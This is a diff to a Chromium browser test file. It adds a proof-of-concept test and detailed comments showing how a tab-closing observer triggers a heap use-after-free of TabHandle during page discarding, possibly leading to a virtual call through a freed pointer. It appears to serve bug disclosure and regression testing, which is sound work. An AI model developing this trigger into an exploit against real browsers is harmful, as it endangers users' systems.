diff --git a/chrome/browser/performance_manager/policies/page_discarding_helper_browsertest.cc b/chrome/browser/performance_manager/policies/page_discarding_helper_browsertest.cc index 3057ba6fbdb7c..b8c5e3ebbcded 100644 --- a/chrome/browser/performance_manager/policies/page_discarding_helper_browsertest.cc +++ b/chrome/browser/performance_manager/policies/page_discarding_helper_browsertest.cc @@ -31,7 +31,9 @@ #include "chrome/browser/ui/browser_commands.h" #include "chrome/browser/ui/browser_window.h" #include "chrome/browser/ui/browser_window/public/browser_window_interface_iterator.h" +#include "chrome/browser/ui/tabs/tab_enums.h" #include "chrome/browser/ui/tabs/tab_strip_model.h" +#include "chrome/browser/ui/tabs/tab_strip_model_observer.h" #include "chrome/test/base/in_process_browser_test.h" #include "chrome/test/base/ui_test_utils.h" #include "components/performance_manager/public/freezing/freezing.h" @@ -702,6 +704,121 @@ INSTANTIATE_TEST_SUITE_P( return info.param ? "RetainedWebContents" : "UnretainedWebContents"; }); +// ----------------------------------------------------------------------------- +// POC: Use-after-free of TabPageDecorator::TabHandle in +// PageDiscardingHelper::DiscardMultiplePagesImpl. +// +// DiscardMultiplePagesImpl stores a bare TabHandle* on the stack, then calls +// DiscardPageNode() which synchronously runs the full discard observer fan-out. +// During FinishDiscard(), after DiscardWebContentsAt() has released its +// ReentrancyCheck, observer callbacks (e.g. TabStripModelObserver:: +// OnTabChangedAt fired from UpdateWebContentsStateAt at the very end of +// FinishDiscard) can legally mutate the tab strip. If such an observer closes +// the *replacement* tab, the replacement WebContents is destroyed +// synchronously, which tears down its PerformanceManagerTabHelper -> +// BatchDeleteNodes -> RemoveNode -> CleanUpNodeState -> +// DestroyNodeInlineDataStorage, freeing TabPageDecorator::Data and its owned +// unique_ptr. Control then unwinds back to DiscardMultiplePagesImpl +// which dereferences the now-freed tab_handle and issues a virtual call +// through the (potentially attacker-controlled) PageNode pointer. +// +// This test installs a TabStripModelObserver as the *last* observer so that no +// later observers see a dangling TabInterface*, ensuring the first invalid +// access is the target tab_handle->page_node() read. It models a class of +// browser-side gadgets (saved-tab-group sync reconciliation, DevTools +// inspected-contents-closed, etc.) that can synchronously close a tab from the +// post-discard observer fan-out. + +class ReplacementTabCloser : public TabStripModelObserver { + public: + explicit ReplacementTabCloser(TabStripModel* model) : model_(model) { + model_->AddObserver(this); + } + ~ReplacementTabCloser() override { + if (model_) { + model_->RemoveObserver(this); + } + } + + void OnTabChangedAt(tabs::TabInterface* tab, + int index, + TabChangeType change_type) override { + if (fired_ || !model_) { + return; + } + // FinishDiscard()'s final call is UpdateWebContentsStateAt(..., kAll) for + // the replacement (null) WebContents, which has WasDiscarded() == true. + if (change_type != TabChangeType::kAll) { + return; + } + content::WebContents* contents = tab->GetContents(); + if (!contents || !contents->WasDiscarded()) { + return; + } + fired_ = true; + // The DiscardWebContentsAt() ReentrancyCheck has been released, so this + // synchronously detaches and destroys the replacement WebContents (it has + // no renderer / unload handlers). This frees the new PageNode and its + // NodeAttachedData, including the moved unique_ptr, while + // DiscardMultiplePagesImpl still holds a bare TabHandle* on its stack. + TabStripModel* m = model_; + model_ = nullptr; + m->RemoveObserver(this); + m->CloseWebContentsAt(index, TabCloseTypes::CLOSE_NONE); + } + + private: + raw_ptr model_; + bool fired_ = false; +}; + +class PageDiscardingHelperUAFTest : public InProcessBrowserTest { + protected: + PageDiscardingHelperUAFTest() { + // The vulnerable FinishDiscard() path (which creates a replacement + // WebContents and moves the TabHandle to the new PageNode) only runs when + // kWebContentsDiscard is disabled — the desktop default. + scoped_feature_list_.InitAndDisableFeature(::features::kWebContentsDiscard); + } + ~PageDiscardingHelperUAFTest() override = default; + + private: + base::test::ScopedFeatureList scoped_feature_list_; +}; + +IN_PROC_BROWSER_TEST_F(PageDiscardingHelperUAFTest, + TabHandleUAFWhenReplacementClosedDuringDiscard) { + // Tab 0 is active/foreground; add two background tabs so closing the + // replacement does not empty the strip. + TabStripModel* tsm = browser()->tab_strip_model(); + ui_test_utils::NavigateToURLWithDisposition( + browser(), GURL("data:text/html,victim"), + WindowOpenDisposition::NEW_BACKGROUND_TAB, + ui_test_utils::BROWSER_TEST_WAIT_FOR_LOAD_STOP); + ui_test_utils::NavigateToURLWithDisposition( + browser(), GURL("data:text/html,bystander"), + WindowOpenDisposition::NEW_BACKGROUND_TAB, + ui_test_utils::BROWSER_TEST_WAIT_FOR_LOAD_STOP); + ASSERT_EQ(3, tsm->count()); + + // Install the gadget LAST so it is the final OnTabChangedAt observer. + ReplacementTabCloser closer(tsm); + + Graph* graph = PerformanceManager::GetGraph(); + auto* helper = PageDiscardingHelper::GetFromGraph(graph); + ASSERT_TRUE(helper); + + // EXTERNAL discard with zero minimum_time_in_background ensures a background + // tab is selected immediately. This reaches DiscardMultiplePagesImpl which + // captures tab_handle, runs the synchronous discard fan-out (during which + // ReplacementTabCloser frees the TabHandle), then dereferences tab_handle. + // + // ASAN: heap-use-after-free in TabPageDecorator::TabHandle::page_node() + // called from PageDiscardingHelper::DiscardMultiplePagesImpl. + helper->DiscardAPage(DiscardReason::EXTERNAL, + /*minimum_time_in_background=*/base::TimeDelta()); +} + } // namespace } // namespace performance_manager::policies